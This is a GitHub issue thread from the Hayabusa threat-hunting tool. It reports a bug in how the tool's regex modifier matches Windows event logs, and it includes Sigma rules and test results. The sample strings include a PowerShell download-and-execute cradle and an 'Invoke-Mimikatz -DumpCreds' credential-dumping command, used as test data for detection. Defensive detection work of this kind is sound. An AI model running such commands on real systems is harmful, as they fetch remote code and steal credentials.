Yamato-Security / hayabusa

Hayabusa (隼) is a sigma-based threat hunting and fast forensics timeline generator for Windows event logs.
GNU Affero General Public License v3.0
2.26k stars 200 forks source link

[bug] `|re` modifier rule does not detect logs correctly #1211

Closed fukusuket closed 11 months ago

fukusuket commented 11 months ago

Describe the bug |re modifier rule not detected correctly.

Step to Reproduce

  1. Save the following rule as test.yml.
    
    author: Zach Mathis, Fukusuke Takahashi
    date: 2023/11/07
    modified: 2023/11/07

title: 'PwSh Engine Started' description: 'Engine state is changed from None to Available.'

id: ac2ae63b-83e6-4d06-aeaf-07409bda92c9 level: informational status: test logsource: product: windows service: powershell detection: selection: Channel: 'Windows PowerShell' EventID: 400 filter: Data|re: 'NewEngineState' condition: selection and filter falsepositives: tags: references: ruletype: Hayabusa

2. `./hayabusa csv-timeline -d ../hayabusa-sample-evtx -r test.yml -D -n -u -w -C`

**Actual behavior**
Number of detections is `0`.

**Expected behavior**
Number of detections is `6`.

**Environment**

- OS: macOS sonoma 14.0
- hayabusa version 2.10.0(I haven't confirmed it, but it's probably an issue that has existed since the first version)

**Additional context**
When I changed the code below to use the [is_match](https://docs.rs/regex/latest/regex/struct.Regex.html#method.is_match) function, it worked correctly, so the code below seems to be the cause🤔
https://github.com/Yamato-Security/hayabusa/blob/91ed9a2da70078c4b4b34dfaca753d48dca6a8f2/src/detections/rule/matchers.rs#L221-L228

also,  If I change the modifier to `|contains` as in the rule below, it will be detected correctly.
```yml
detection:
    selection:
        Channel: 'Windows PowerShell'
        EventID: 400
    filter:
        Data|contains: 'NewEngineState.
    condition: selection and filter
falsepositives:
tags:
references:
ruletype: Hayabusa
fukusuket commented 11 months ago

I found another issue. According to the Sigma documentation below, regular expressions are expected to be case-insensitive. https://github.com/SigmaHQ/sigma-specification/blob/main/Sigma_specification.md#general

  • Regular expressions are case-sensitive by default

However, if I create a detection rule with lowercase letters as shown below, there will be 0 detection results.

...
detection:
    selection:
        Channel|re: 'windows powershell'
        EventID: 400
    condition: selection
falsepositives:
tags:
references:
ruletype: Hayabusa

(In the case above, it will be detected correctly if I change to Channel|re: 'Windows PowerShell')

fukusuket commented 11 months ago

Sorry ... 🙇 The above https://github.com/Yamato-Security/hayabusa/issues/1211#issuecomment-1801888079 case was correct behavior because case-sensitive is expected behavior.

YamatoSecurity commented 11 months ago

@fukusuket Yes, I think normal wildcard matching, etc... is case-insensitive but only regex is case-sensitive.

fukusuket commented 11 months ago

@YamatoSecurity I checked the reproduction conditions using the code below! https://play.rust-lang.org/?version=stable&mode=debug&edition=2021&gist=54185c82df86fcd2077408f9dc90fa0a

String without line breaks

The match result for a string without line breaks is as follows:

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://example.com');"
Regex Match
powershell.* true
powershell false
.*DownloadString.* true

String with line breaks

The match result for a string with line breaks is as follows:

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://example.com');
Invoke-Mimikatz -DumpCreds"
Regex Match
powershell.* false
powershell false
.*DownloadString.* false

Based on the above results, The reproduction conditions are as follows.

fukusuket commented 11 months ago

The pseudo code for https://github.com/Yamato-Security/hayabusa/pull/1212 is below. The results after applying https://github.com/Yamato-Security/hayabusa/pull/1212 are as follows. https://play.rust-lang.org/?version=stable&mode=debug&edition=2021&gist=82a1019add2b410ec720d4f74c0d10ef

String without line breaks

The match result for a string without line breaks is as follows:

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://example.com');"
Regex Match
powershell.* true
powershell true
.*DownloadString.* true

String with line breaks

The match result for a string with line breaks is as follows:

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://example.com');
Invoke-Mimikatz -DumpCreds"
Regex Match
powershell.* true
powershell true
.*DownloadString.* true